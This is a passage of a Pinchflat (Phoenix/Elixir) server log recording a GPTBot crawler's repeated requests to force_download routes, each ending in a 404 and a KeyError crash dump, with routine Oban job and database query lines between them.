"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/8/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/8/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59144}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239716.0>, params: %{}, path_info: ["sources", "1", "media", "8", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => (truncated) 02:49:00.279 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:13.912 [info] {"source":"oban","duration":1072,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:43.914 [info] {"source":"oban","duration":1188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:00.280 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:50:01.839 [info] GET /sources/1/media/7/force_download 02:50:01.840 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1229.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:01.841 [debug] QUERY OK source="settings" db=0.3ms idle=683.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:50:01.841 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:50:01.842 [error] #PID<0.239723.0> running PinchflatWeb.Endpoint (connection #PID<0.239722.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/7/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/7/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239722.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/7/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 35176}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239723.0>, params: %{}, path_info: ["sources", "1", "media", "7", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/7/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAgVKSS6K7IEEcABbqD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239722.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/7/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 35176}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/7/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239722.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/7/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 35176}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239723.0>, params: %{}, path_info: ["sources", "1", "media", "7", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => (truncated) 02:50:13.916 [info] {"source":"oban","duration":1015,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:50:43.918 [info] {"source":"oban","duration":1090,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:00.281 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:51:06.760 [info] GET /sources/1/media/9/force_download 02:51:06.761 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1604.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:06.762 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=1604.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:51:06.762 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:51:06.763 [error] #PID<0.239731.0> running PinchflatWeb.Endpoint (connection #PID<0.239730.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/9/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/9/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239730.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/9/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58952}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239731.0>, params: %{}, path_info: ["sources", "1", "media", "9", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/9/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAgY8Ir2ODbr8YABbtD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239730.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/9/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58952}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/9/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239730.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/9/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 58952}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239731.0>, params: %{}, path_info: ["sources", "1", "media", "9", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => (truncated) 02:51:13.920 [info] {"source":"oban","duration":996,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:51:43.922 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:00.282 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:52:11.991 [info] GET /sources/1/media/6/force_download 02:52:11.993 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=1835.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:11.993 [debug] QUERY OK source="settings" db=0.4ms idle=1116.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:52:11.994 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:52:11.994 [error] #PID<0.239739.0> running PinchflatWeb.Endpoint (connection #PID<0.239738.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/6/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239738.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 34862}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239739.0>, params: %{}, path_info: ["sources", "1", "media", "6", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/6/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAgcvJAswfBP04ABbwD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239738.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 34862}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/6/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239738.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/6/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 34862}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239739.0>, params: %{}, path_info: ["sources", "1", "media", "6", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => (truncated) 02:52:13.924 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:52:43.926 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:00.283 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:53:13.928 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:53:16.095 [info] GET /sources/1/media/4/force_download 02:53:16.096 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=938.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:16.096 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=939.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:53:16.096 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:53:16.097 [error] #PID<0.239747.0> running PinchflatWeb.Endpoint (connection #PID<0.239746.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/4/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/4/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239746.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/4/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 43778}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239747.0>, params: %{}, path_info: ["sources", "1", "media", "4", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: 